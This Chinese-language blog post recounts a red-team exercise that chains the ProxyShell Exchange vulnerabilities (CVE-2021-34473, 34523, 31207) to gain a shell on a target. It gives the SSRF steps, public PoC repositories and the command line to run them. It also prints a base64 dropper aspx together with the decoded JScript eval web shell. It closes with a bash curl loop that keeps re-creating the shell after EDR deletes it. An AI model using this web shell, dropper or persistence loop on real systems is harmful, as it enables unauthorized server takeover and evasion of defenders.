免责说明 本文章仅供学习交流和安全研究使用,请勿用于违法行为,否则后果自负!
由于最近几个月忙着hw没时间写更新,现在闲下来了写写hw的时候遇到有趣的一些漏洞。 在一次市级hw中遇到CVE-2021-34473,edr 杀软绕的我好辛苦。 这个exchange是需要配合这三个漏洞组合getshell的: CVE-2021-34473 Microsoft Exchange ACL绕过漏洞 CVE-2021-34523 Microsoft Exchange权限提升漏洞 CVE-2021-31207 Microsoft Exchange授权任意文件写入漏洞
漏洞影响范围: Microsoft Exchange Server 2010 Microsoft Exchange Server 2013 Microsoft Exchange Server 2016 Microsoft Exchange Server 2019
复现流程: 首先使用SSRF漏洞,请求AutoDiscover服务,获取legacyDn 将legacyDn作为参数,访问mapi/emsmdb接口,能够获得用户对应的sid 在Header中使用SerializedSecurityContext,指定用户身份进行EWS调用操作
https://github.com/Ridter/proxyshell_payload 在proxyshell_payload.py中修改https://github.com/dmaasland/proxyshell-poc 然后安装依赖,将上一步得到的payload,复制到proxyshell_rce.py的314行中:python proxyshell_rce.py -u https://.xx/ e administrator@xxx.xx
Get-MailboxExportRequest Get-MailboxExportRequest|Remove-MailboxExportRequest -Confirm:$false dropshell 正常来说直接连接马就行了,但是我连了半天还是没反应,过段时间再访问就404,猜测有杀软,利用免杀马重新上传显示错误。 猜测符号和限制长度的问题,绕了好久还是不行,于是跟其他师傅交流了一下,试试能不能将列表列出来。 列出目录文件,发现有很多马子,这里有个思路就是看看能不能利用别人的马子爆破连接密码进行连接,但是访问了一下全是404,估计是有waf拦截,我就说为什么那么明显的漏洞没人成功进去,进去的话早就扣分了,但是防守排名这个公司还是前几名,分数没有被扣除。<%@ Page Language='C#' %><html><head></head><body><%string filePath=Server.MapPath('./123.aspx');string base64Content='PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK';byte[] contentBytes=System.Convert.FromBase64String(base64Content);string content=System.Text.Encoding.UTF8.GetString(contentBytes);System.IO.File.WriteAllText(filePath,content);%><h1>success</h1></body></html>
内容就是在aspx文件根目录生成一个文件内容是123.aspx PHNjcmlwdCBsYW5ndWFnZT0nSlNjcmlwdCcgcnVuYXQ9J3NlcnZlcicgUGFnZSBhc3Bjb21wYXQ9dHJ1ZT5mdW5jdGlvbiBQYWdlX0xvYWQoKXtldmFsKFJlcXVlc3RbJ3RhbmdhbnQnXSwndW5zYWZlJyk7fTwvc2NyaXB0PgoK 利用base64解密写入123.aspx base64里就是一句话aspx木马,aspx是可以用JavaScript来作马的。<script language='JScript' runat='server' Page aspcompat=true>function Page_Load(){eval(Request['tangant'],'unsafe');}</script> 然后重新上传,访问上传成功的文件,提示success说明就写入成功了。最高权限都不用提权了,还是两个域控!!并且还有亚信edr。由于时间有点晚了,就睡觉了
结果第二天醒来,全部404!但是漏洞还没有修复! 然后重新上传了,发现还能用,但是没过一分钟马子就被删除了,猜测运维是安装了杀软 edr。真的要命啊,一hw基本上都是edr~ 冷静,想了想虽然过一分钟就删除马子,那我们是不是可以一直访问上传马子的链接就可以一直生成马了,相当于不死马的一样。
然后写一个sh脚本挂在服务器上一直访问那个链接
#!/bin/bash
while true do curl -ki https://xx//aspnet_client/ixxxot.aspx done
|